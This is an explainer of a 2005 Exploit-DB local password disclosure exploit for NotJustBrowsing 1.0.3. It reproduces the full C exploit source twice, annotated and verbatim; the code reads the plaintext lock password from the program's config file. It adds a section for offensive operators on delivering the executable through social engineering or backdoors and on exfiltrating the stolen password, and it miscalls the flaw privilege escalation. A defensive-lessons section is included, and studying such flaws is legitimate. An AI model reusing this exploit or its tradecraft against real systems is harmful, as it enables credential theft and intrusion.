NotJustBrowsing 1.0.3 Local Password Disclosure Exploit Explained

NotJustBrowsing 1.0.3 Local Password Disclosure Exploit Explained
What this paper is
This paper details a local privilege escalation vulnerability in version 1.0.3 of the "NotJustBrowsing" software. The vulnerability allows a local user to read a configuration file that contains the application's "lock password" in plain text. The exploit code provided demonstrates how to locate and read this sensitive information.
Simple technical breakdown
The NotJustBrowsing software, when installed, creates a configuration file. This file is not properly protected, and a local user can access it. The exploit works by:
- Finding the installation path: It queries the Windows Registry to find the default "Program Files" directory.
- Constructing the config file path: It appends the known relative path to the NotJustBrowsing configuration file (
\NetLeaf Limited\NotJustBrowsing\notjustbrowsing.prf). - Reading the password: It opens the configuration file and reads specific bytes from a known offset (address 4) for a known length (3 bytes). These bytes are believed to represent the "lock password".
Complete code and payload walkthrough
The provided C code is a simple program designed to exploit the described vulnerability.
/*****************************************************************
NotJustBrowsing 1.0.3 Local Password Disclosure Exploit by Kozan
Application: NotJustBrowsing 1.0.3
Procuder: www.notjustbrowsing.com
Vulnerable Description: NotJustBrowsing 1.0.3 discloses passwords
to local users.
Discovered & Coded by Kozan
Credits to ATmaCA
www.netmagister.com - www.spyinstructors.com
kozan@netmagister.com
*****************************************************************/
#include <stdio.h>
#include <windows.h>
HKEY hKey; // Global handle for Windows Registry key
#define BUFSIZE 100 // Define a buffer size for strings
char prgfiles[BUFSIZE]; // Buffer to store Program Files directory path
DWORD dwBufLen=BUFSIZE; // Variable to store the actual length of data read from registry
LONG lRet; // Variable to store the return value of registry functions
char *bilgi_oku(int adres,int uzunluk)
{
// Function to read specific data from a file.
// 'adres' is the offset from the beginning of the file.
// 'uzunluk' is the number of bytes to read.
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, // Open the HKEY_LOCAL_MACHINE hive
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion", // Path to the key
0, // Reserved, must be zero
KEY_QUERY_VALUE, // Desired access: query values
&hKey // Pointer to receive the handle of the opened key
) == ERROR_SUCCESS) // Check if the key was opened successfully
{
lRet = RegQueryValueEx( hKey, // Handle of the key
"ProgramFilesDir", // Name of the value to query
NULL, // Reserved, must be NULL
NULL, // Pointer to a variable that receives the type of the value
(LPBYTE) prgfiles, // Buffer that receives the value's data
&dwBufLen // Pointer to a variable that specifies the size of the buffer
);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ) // Check if query failed or buffer is too small
{
RegCloseKey(hKey); // Close the registry key handle
return NULL; // Return NULL on error
}
RegCloseKey(hKey); // Close the registry key handle
strcat(prgfiles,"\\NetLeaf Limited\\NotJustBrowsing\\notjustbrowsing.prf"); // Append the application's config file path
int i; // Loop counter
FILE *fp; // File pointer
char ch[100]; // Buffer to store read characters
if((fp=fopen(prgfiles,"rb")) == NULL) // Try to open the config file in binary read mode
{
return "NOTINSTALLED"; // If file cannot be opened, return "NOTINSTALLED"
}
fseek(fp,adres,0); // Move the file pointer to the specified offset ('adres')
for(i=0;i<uzunluk;i++) // Loop 'uzunluk' times to read bytes
ch[i]=getc(fp); // Read a single character from the file
ch[i]=NULL; // Null-terminate the string
fclose(fp); // Close the file
return ch; // Return the read string
}
return NULL; // Return NULL if RegOpenKeyEx failed
}
int main()
{
// Main function to execute the exploit
printf("NotJustBrowsing 1.0.3 Local Password Disclosure Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com\n");
printf("kozan@netmagister.com\n\n");
// First call to bilgi_oku to check for errors during registry access or file path construction.
// It attempts to read 3 bytes starting from offset 4.
// If this returns NULL, it indicates an error in the registry access or file path construction.
if(bilgi_oku(4,3)==NULL)
{
printf("An error occured!\n"); // Print an error message
return -1; // Exit with an error code
}
// Second call to bilgi_oku. This is where the comparison is made.
// The result of bilgi_oku(4,3) is compared against the string "NOTINSTALLED".
// IMPORTANT NOTE: String comparison in C is done using strcmp, not the == operator.
// This comparison `bilgi_oku(4,3) == "NOTINSTALLED"` will *always* be false because it compares
// the memory addresses of the returned string and the literal string, not their content.
// Therefore, this check will never trigger the "NotJustBrowsing 1.0.3 is not installed" message.
// The intended logic was likely to check if the *returned value* is the string "NOTINSTALLED".
// A correct comparison would be `strcmp(bilgi_oku(4,3), "NOTINSTALLED") == 0`.
if(bilgi_oku(4,3)=="NOTINSTALLED") // THIS COMPARISON IS FLAWED IN THE ORIGINAL CODE
{
printf("NotJustBrowsing 1.0.3 is not installed on your system!\n");
return -1; // Exit with an error code
}
// Third call to bilgi_oku. This call actually retrieves and prints the password.
// It reads 3 bytes from offset 4.
printf("View Lock Password: %s",bilgi_oku(4,3)); // Print the retrieved password
return 0; // Exit successfully
}
// milw0rm.com [2005-04-28]Code Fragment/Block -> Practical Purpose Mapping:
/**************** ... ****************/: Exploit banner and metadata.#include <stdio.h>: Standard input/output library for functions likeprintf,fopen,fclose.#include <windows.h>: Windows API library for functions likeRegOpenKeyEx,RegQueryValueEx,RegCloseKey.HKEY hKey;: A handle to a registry key. Used to interact with the Windows Registry.#define BUFSIZE 100: Defines a constant for buffer size, used for string storage.char prgfiles[BUFSIZE];: A character array (buffer) to store the path to the program files directory and the configuration file.DWORD dwBufLen=BUFSIZE;: A variable to hold the size of the buffer for registry operations. It's updated byRegQueryValueExwith the actual data size.LONG lRet;: A variable to store the return status code from Windows API functions, particularly registry operations.char *bilgi_oku(int adres,int uzunluk): This is the core function.RegOpenKeyEx(...): Attempts to open a specific registry key (SOFTWARE\Microsoft\Windows\CurrentVersion). This key contains system configuration information.RegQueryValueEx(...): Retrieves the value of the "ProgramFilesDir" registry entry. This tells the program where the "Program Files" directory is located on the system.strcat(prgfiles, ...): Appends the hardcoded relative path to the NotJustBrowsing configuration file (\NetLeaf Limited\NotJustBrowsing\notjustbrowsing.prf) to the retrieved "Program Files" directory path.fopen(prgfiles,"rb"): Attempts to open the constructed configuration file in binary read mode.fseek(fp,adres,0): Moves the file pointer to the specifiedadres(offset) within the file.ch[i]=getc(fp): Reads a single byte (character) from the file at the current file pointer position.ch[i]=NULL: Null-terminates the character arraychto make it a valid C string.fclose(fp): Closes the opened file.- Returns a pointer to the read data or
NULL/"NOTINSTALLED"on error.
int main(): The entry point of the program.printf(...): Prints informational messages and the exploit banner.if(bilgi_oku(4,3)==NULL): Callsbilgi_okuto read 3 bytes from offset 4. IfNULLis returned, it signifies an error in registry access or file path construction.if(bilgi_oku(4,3)=="NOTINSTALLED"): (Flawed comparison) This line attempts to check if the application is installed. However, due to using==for string comparison, it will always evaluate to false. The intended logic was likely to check if the returned string content was "NOTINSTALLED".printf("View Lock Password: %s",bilgi_oku(4,3)): Callsbilgi_okuagain to read 3 bytes from offset 4 and prints the result as the "Lock Password".
Shellcode/Payload Segments:
This exploit does not contain traditional shellcode. The "payload" is the C code itself, which when compiled and executed, performs the actions described above to read the password from the configuration file. There are no byte sequences representing shellcode in this paper.
Practical details for offensive operations teams
- Required Access Level: Local user access. The exploit targets a file accessible by any user on the system.
- Lab Preconditions:
- A Windows machine with NotJustBrowsing version 1.0.3 (or a similarly vulnerable version) installed.
- The "Program Files" directory must be accessible and contain the
NetLeaf Limited\NotJustBrowsingsubdirectories. - The
notjustbrowsing.prffile must exist within that directory. - The exploit code needs to be compiled on a Windows system (e.g., using MinGW or Visual Studio).
- Tooling Assumptions:
- A C compiler for Windows (e.g., GCC via MinGW, or Microsoft Visual C++).
- The compiled executable.
- Execution Pitfalls:
- Incorrect Version: The exploit is specific to NotJustBrowsing 1.0.3. Newer versions might have fixed this vulnerability.
- Non-Standard Installation Path: If NotJustBrowsing was installed in a custom location not following the default "Program Files" convention, the registry query might fail to find the correct path, or the
strcatoperation would lead to a non-existent file. - File Permissions: While unlikely for a configuration file in Program Files, if permissions were unusually restrictive,
fopencould fail. - The String Comparison Bug: As noted in the code walkthrough, the
if(bilgi_oku(4,3)=="NOTINSTALLED")line is a critical flaw in the original exploit code. It will never correctly detect if the application is not installed. This means the program will attempt to read and print garbage or an error if the file isn't found, rather than gracefully exiting with the intended message. An operator would need to correct this tostrcmp(bilgi_oku(4,3), "NOTINSTALLED") == 0for proper error handling. - Password Format: The exploit assumes the password is exactly 3 bytes long and located at offset 4. If the format or location changed in a specific installation, the output would be incorrect.
- Tradecraft Considerations:
- Reconnaissance: Confirm the presence and version of NotJustBrowsing on the target system. Identify the installation path if it deviates from the default.
- Payload Delivery: The compiled executable needs to be delivered to the target. This could be via social engineering, a pre-existing backdoor, or other means.
- Execution: Run the compiled executable.
- Data Exfiltration: The output of the program (the password) needs to be captured and exfiltrated. This could be done by redirecting stdout (
exploit.exe > password.txt) or by modifying the exploit to log to a file or send data over the network. - Stealth: The exploit itself is noisy as it involves file I/O and registry access. Running it might generate noticeable telemetry.
Where this was used and when
- Context: This exploit targets a specific application vulnerability. Its use would be in scenarios where an attacker has gained initial low-privilege access to a Windows system and wants to escalate privileges or gain access to application-specific credentials. This could be part of a post-exploitation phase to gather further information or move laterally.
- Approximate Years/Dates: The paper was published on April 28, 2005. Therefore, this vulnerability and exploit would have been relevant around 2005 and for some time afterward until NotJustBrowsing was updated or uninstalled.
Defensive lessons for modern teams
- Secure Configuration Storage: Sensitive information like passwords should never be stored in plain text configuration files. Use proper encryption, hashing, or secure credential management systems.
- File Permissions and Access Control: Ensure that application configuration files are protected by appropriate file system permissions, restricting read access to only necessary system accounts or administrators.
- Registry Hardening: While less common for this specific type of vulnerability, limiting unauthorized access to critical registry keys can prevent information disclosure.
- Software Inventory and Patching: Maintain an accurate inventory of installed software and ensure applications are kept up-to-date with the latest security patches. Vulnerabilities like this are often fixed in later versions.
- Least Privilege: Users should operate with the minimum privileges necessary. If a user doesn't need to access application configuration files, their permissions should reflect that.
- Application Security Testing: Developers should perform thorough security testing, including static and dynamic analysis, to identify and remediate vulnerabilities before software is released.
ASCII visual (if applicable)
This exploit doesn't involve complex network interactions or system architectures that would benefit significantly from an ASCII diagram. The process is linear: query registry -> construct path -> open file -> read data.
+---------------------+ +-----------------+ +-------------------------+
| Local User | --> | Windows Registry| --> | Program Files Directory |
| (Exploit Executable)| | (HKLM\...) | | (e.g., C:\Program Files)|
+---------------------+ +-----------------+ +-------------------------+
|
v
+---------------------------------+
| NotJustBrowsing Config File |
| (e.g., C:\Program Files\NetLeaf |
| Limited\NotJustBrowsing\ |
| notjustbrowsing.prf) |
+---------------------------------+
|
v
+---------------------------------+
| Read Password (Offset 4, Len 3) |
+---------------------------------+Source references
- Paper ID: 966
- Paper Title: NotJustBrowsing 1.0.3 - Local Password Disclosure
- Author: Kozan
- Published: 2005-04-28
- Keywords: Windows, local
- Paper URL: https://www.exploit-db.com/papers/966
- Raw URL: https://www.exploit-db.com/raw/966
Original Exploit-DB Content (Verbatim)
/*****************************************************************
NotJustBrowsing 1.0.3 Local Password Disclosure Exploit by Kozan
Application: NotJustBrowsing 1.0.3
Procuder: www.notjustbrowsing.com
Vulnerable Description: NotJustBrowsing 1.0.3 discloses passwords
to local users.
Discovered & Coded by Kozan
Credits to ATmaCA
www.netmagister.com - www.spyinstructors.com
kozan@netmagister.com
*****************************************************************/
#include <stdio.h>
#include <windows.h>
HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
char *bilgi_oku(int adres,int uzunluk)
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey
) == ERROR_SUCCESS)
{
lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,(LPBYTE) prgfiles,
&dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
{
RegCloseKey(hKey);
return NULL;
}
RegCloseKey(hKey);
strcat(prgfiles,"\\NetLeaf Limited\\NotJustBrowsing\\notjustbrowsing.prf");
int i;
FILE *fp;
char ch[100];
if((fp=fopen(prgfiles,"rb")) == NULL)
{
return "NOTINSTALLED";
}
fseek(fp,adres,0);
for(i=0;i<uzunluk;i++)
ch[i]=getc(fp);
ch[i]=NULL;
fclose(fp);
return ch;
}
}
int main()
{
printf("NotJustBrowsing 1.0.3 Local Password Disclosure Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com\n");
printf("kozan@netmagister.com\n\n");
if(bilgi_oku(4,3)==NULL)
{
printf("An error occured!\n");
return -1;
}
if(bilgi_oku(4,3)=="NOTINSTALLED")
{
printf("NotJustBrowsing 1.0.3 is not installed on your system!\n");
return -1;
}
printf("View Lock Password: %s",bilgi_oku(4,3));
return 0;
}
// milw0rm.com [2005-04-28]